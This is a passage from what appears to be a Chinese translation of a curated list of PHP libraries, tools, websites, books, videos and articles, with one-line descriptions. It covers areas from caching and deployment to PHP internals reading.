CacheTool - 一个使用命令行清除apc/opcode缓存的工具
Cake Cache - 一个缓存库 (CP)
Doctrine Cache - 一个缓存库
Stash - 另一个缓存库
Zend Cache - 另一个缓存库 (ZF2)
数据结构和存储 Data Structure and Storage
实现数据结构和存储技术的库
Ardent - 一个数据结构库
Cake Collection - 一个简单的集合库 (CP)
Collections - 一个PHP的集合抽象库
Fractal - 一个转换复杂数据结构到JSON输出的库
Ginq - 另一个基于.NET实现的PHP的LINQ库
JsonMapper - 一个将内嵌JSON结构映射为PHP类的库
Knapsack - 一个集合的库,灵感来自Clojure的相关库
PHP Collections - 一个简单的集合库
PINQ - 一个基于.NET实现的PHP的LINQ(Language Integrated Query)库
Serializer - 一个序列化和反序列化数据的库
Totem - -一个管理和创建数据交换集的库
YaLinqo - 另一个PHP的LINQ库
Zend Serializer - 另一个序列化和反序列化数据的库 (ZF2)
通知 Notifications
处理通知软件的库
JoliNotif - 一个跨平台的桌面通知库(支持Growl, notify-send, toaster等)
Nod - 一个通知库(Growl等)
Notification Pusher - 一个设备推送通知的独立库
Notificato - 一个处理推送通知的库
Notificator - 一个轻量级的通知库
Php-pushwoosh - 一个使用Pushwoosh REST Web服务轻松推送通知的PHP库
部署 Deployment
项目部署库
Deployer - 一个部署工具
Envoy - 一个用PHP运行SSH任务的工具
Plum - 一个部署库
Pomander - 一个PHP应用部署工具
Rocketeer - PHP世界里的一个快速简单的部署器
国际化和本地化 Internationalisation and Localisation
国际化(I18n)和本地化(L10n)的库
Cake I18n - 消息国际化和日期和数字的本地化 (CP)
第三方API Third Party APIs
访问第三方API的库
Amazon Web Service SDK - PHP AWS SDK官方库
Campaign Monitor - Campaign Monitor官方PHP库
Digital Ocean - Digital Ocean API接口库
Dropbox SDK - Dropbox SDK官方PHP库
Github - 一个Github API交互库
PHP Github API - 另一个Github API交互库
S3 Stream Wrapper - Amazon S3流包装库
Stripe - Stripe官方PHP库
Twilio - Twilio官方PHP REST API
Twitter OAuth - 一个Twitter OAuth工作流交互库
Twitter REST - 一个Twitter REST API交互库
扩展 Extensions
帮助构建PHP扩展的库
PHP CPP - 一个开发PHP扩展的C++库
Zephir - 用于开发PHP扩展,且介于PHP和C++之间的编译语言
杂项 Miscellaneous
创建一个开发环境的软件
Annotations - 一个注释库(Doctrine的一部分)
Cake Utility - 工具类如Inflector,字符串,哈希,安全和XML (CP)
Chief - 一个命令总线库
ClassPreloader - 一个优化自动加载的库
Country List - 所有带有名称和ISO 3166-1编码的国家列表
Embera - 一个Oembed消费库
Essence - 一个用于提取网络媒体的库
Flux - 一个正则表达式构建库
Graphviz - 一个图形库
Hprose-PHP - 一个很牛的RPC库,现在支持25+种语言
JSON Lint - 一个JSON lint工具
JSONPCallbackValidator - 验证JSONP回调的库
Jumper - 一个远程服务执行库
LadyBug - 一个dumper库
Lambda PHP - 一个PHP中的Lambda计算解析器
LiteCQRS - 一个CQRS(命令查询责任分离)库
Metrics - 一个简单的度量API库
noCAPTCHA - 一个帮助使用谷歌noCAPTCHA (reCAPTCHA)的工具
Nmap - 一个Nmap PHP包装器
Opengraph - 一个开放图库
Pagerfanta - 一个分页库
PHP Expression - 一个PHP表达式语言
PHP PassBook - 一个iOS PassBook PHP库
PHP-GPIO - 一个用于Raspberry PI的GPIO pin的库
PHPCR - 一个Java内容存储库(JCR)的PHP实现
PHPStack - 一个PHP编写的TCP/IP栈概念
print_o - 一个对象图的可视化器
Procrastinator - 一个运行耗时任务的库
Prooph Service Bus - 轻量级的消息总线,支持CQRS和微服务
RMT - 一个编写版本和发布软件的库
sabre/vobject - 一个解析VCard和iCalendar对象的库
Slimdump - 一个简单的MySQL dumper工具
Spork - 一个处理forking的库
Sslurp - 一个使得SSL处理减少的库
SuperClosure - 一个允许闭包序列化的库
Symfony VarDumper - 一个dumper库(SF2)
Underscore - 一个Undersccore JS库的PHP实现
Whoops - 一个不错的错误处理库
PHP安装 PHP Installation
在你的电脑上帮助安装和管理PHP的工具
HomeBrew PHP - 一个HomeBrew的PHP通道
HomeBrew - 一个OSX包管理器
PHP Brew - 一个PHP版本管理和安装器
PHP Build - 另一个PHP版本安装器
PHP Env - 另一个PHP版本管理器
PHP OSX - 一个OSX下的PHP安装器
PHP Switch - 另一个PHP版本管理器
VirtPHP - 一个创建和管理独立PHP环境的工具
开发环境 Development Environment
创建沙盒开发环境的软件和工具
Ansible - 一个非常简单的编制框架
Phansible - 一个用Ansible构建PHP开发虚拟机的web工具
Protobox - 另一个构建PHP开发虚拟机的web工具
PuPHPet - 一个构建PHP开发虚拟机的web工具
Puppet - 一个服务器自动化框架和应用
Vagrant - 一个便携的开发环境工具
虚拟机 Virtual Machines
相关的PHP虚拟机
Hack - 一个PHP进行无缝操作的HHVM编程语言
HHVM - Facebook出品的PHP虚拟机,Runtime和JIT
HippyVM - 另一个PHP虚拟机
集成开发环境(IDE) Integrated Development Environment
支持PHP的集成开发环境
Eclipse for PHP Developers - 一个基于Eclipse平台的PHP IDE
Netbeans - 一个支持PHP和HTML5的IDE
PhpStorm - 一个商业PHP IDE
Web应用 Web Applications
基于Web的应用和工具
3V4L - 一个在线的PHP和HHVM shell
DBV - 一个数据库版本控制应用
PHP Queue - A一个管理后端队列的应用
MailCatcher - 一个抓取和查看邮件的web工具
Cachet - 开源状态页面系统
phpBeanstalkdAdmin - 一个Beanstalkd的监控管理页面
phpRedisAdmin - 一个用于管理Redis数据库的简单web界面
phpPgAdmin - 一个PostgreSQL的web管理工具
phpMyAdmin - 一个MySQL/MariaDB的web界面
Adminer - 一个数据库管理工具
Grav - 一个现代的flat-file的CMS
基础架构 Infrastructure
提供PHP应用和服务的基础架构
appserver.io - 一个用PHP写的多线程的PHP应用服务器
php-pm - 一个PHP应用的进程管理器、修改器和负载平衡器
PHP网站 PHP Websites
PHP相关的有用的网站
Nomad PHP - 一个在线PHP学习资源
PHP Best Practices - 一个PHP最佳实践指南
PHP FIG - PHP框架交互组
PHP Mentoring - 点对点PHP导师组织
PHP School - 学习PHP的开源资源
PHP Security - 一个PHP安全指南
PHP The Right Way - 一个PHP最佳实践的快速指引手册
PHP UG - 一个帮助用户定位最近的PHP用户组(UG)的网站
PHP Versions - 哪些版本的PHP可以用在哪几种流行的Web主机上的列表
PHP Weekly - 一个PHP新闻周刊
PHPTrends - 一个快速增长的PHP类库的概述
Securing PHP - 一个关于PHP安全和库的建议的简报
Seven PHP - 一个PHP社区成员采访的网站
其他网站 Other Websites
web开发相关的有用网站
Atlassian Git Tutorials - 一个Git教程系列
Hg Init - 一个Mercurial教程系列
Semantic Versioning - 一个解析语义版本的网站
Servers for Hackers - 一个关于服务器管理的新闻通讯
The Open Web Application Security Project (OWASP) - 一个开放软件安全社区
WebSec IO - 一个web安全社区资源
PHP书籍 PHP Books
PHP相关的非常好的书籍
Functional Programming in PHP - 这本书将告诉你如何利用PHP5.3+的新功能的认识函数式编程的原则
Grumpy PHPUnit - 一本Chris Hartjes关于使用PHPUnit进行单元测试的书
Mastering Object-Orientated PHP - 一本Brandon Savage关于PHP面向对象的书
Modern PHP New Features and Good Practices - 一本Josh Lockhart关于新的PHP功能和最佳做法的书
Modernising Legacy Applications in PHP - 一本Paul M.Jones关于遗留PHP应用进行现代化的书
PHP 7 Upgrade Guide - 一本Colin O’Dell的包含所有PHP 7功能和改变的书
PHP Pandas - 一本Dayle Rees关于如何学习写PHP的书
Scaling PHP Applications - 一本Steve Corona关于扩展PHP应用程序的电子书
Securing PHP: Core Concepts - 一本Chris Cornutt关于PHP常见安全条款和实践的书
Signaling PHP - 一本Cal Evans关于在CLI脚本捕获PCNTL信号的书
The Grumpy Programmer’s Guide to Building Testable PHP Applications - 一本Chris Hartjes关于构建PHP应用程序测试的书
XML Parsing with PHP - 这本书涵盖的解析和验证XML文档,利用XPath表达式,使用命名空间,以及如何创建和修改XML文件的编程
其他书籍 Other Books
与一般计算和web开发相关的书
Elasticsearch: The Definitive Guide - Clinton Cormley和Zachary Tong编写的与Elasticsearch工作的一本指南
Eloquent JavaScript - Marijin Haverbeke关于JavaScript编程的一本书
Head First Design Patterns - 解说软件设计模式的一本书
Pro Git - Scott Chacon和Ben Straub关于Git的一本书
The Linux Command Line - William Shotts关于Linux命令行的一本书
The Tangled Web — Securing Web Applications - Michal Zalewski关于web应用安全的一本书
Understanding Computation - Tom Stuart关于计算理论的一本书
Vagrant Cookbook - Erika Heidi关于创建 Vagrant环境的一本书
PHP视频 PHP Videos
PHP相关的非常不错的视频
PHP Town Hall - 一个随意的Ben Edmunds和Phil Sturgeon的PHP播客
PHP UK Conference - 一个PHP英国会议的视频集合
Programming with Anthony - Anthony Ferrara的视频系列
Taking PHP Seriously - 来自Facebook Keith Adams 讲述PHP优势
PHP阅读 PHP Reading
PHP相关的阅读资料
Composer Primer - Composer初级使用
Composer Stability Flags - 一篇关于Composer稳定性标志的文章
Composer Versioning - 一篇关于Composer版本的文章
Create Your Own PHP Framework - 一部Fabien Potencier的关于如何创建你自己的PHP框架的系列文章
Don’t Worry About BREACH - 一篇关于BREACH攻击和CSRF令牌的文章
On PHP 5.3, Lambda Functions and Closures - 一篇关于lambda函数和闭包的文章
PHP Is Much Better Than You Think - 一篇关于PHP语言和生态圈的文章
PHP Package Checklist - 一个成功PHP包开发的清单
PHP Sucks! But I Like It! - 一篇关于PHP利弊的文章
Preventing CSRF Attacks - 一篇阻止CSRF攻击的文章
Seven Ways to Screw Up BCrypt - 一篇关于纠正BCrypt实现的文章
Use Env - 一篇关于使用unix环境帮助的文章
PHP内核阅读 PHP Internals Reading
阅读PHP内核或性能相关的资料
Disproving the Single Quotes Myth - 一篇关于单,双引号字符串性能的文章
How Big Are PHP Arrays (And Values) Really? - 一篇关于数组原理的文章
How Foreach Works - StackOverflow关于foreach回答的详情
How Long is a Piece of String - 一篇关于字符串原理的文章
PHP Evaluation Order - 一篇关于PHP评估顺序的文章
PHP Internals Book - 一本由三名核心开发编写的关于PHP内核的在线书
PHP RFCs - PHP RFCs主页(请求注解)
Print vs Echo, Which One is Faster? - 一篇关于打印和echo性能的文章
The PHP Ternary Operator. Fast or Not? - 一篇关于三元操作性能的文章
Understanding OpCodes - 一篇关于opcodes的文章
When Does Foreach Copy? - 一篇关于foreach原理的文章
Why Objects (Usually) Use Less Memory Than Arrays - 一篇关于对象和数组原理的文章
You’re Being Lied To - 一篇关于内核ZVALs的文章
PHP杂志 PHP Magazines
有趣的PHP相关的杂志
php[architect] - 一个致力于PHP的月更的杂志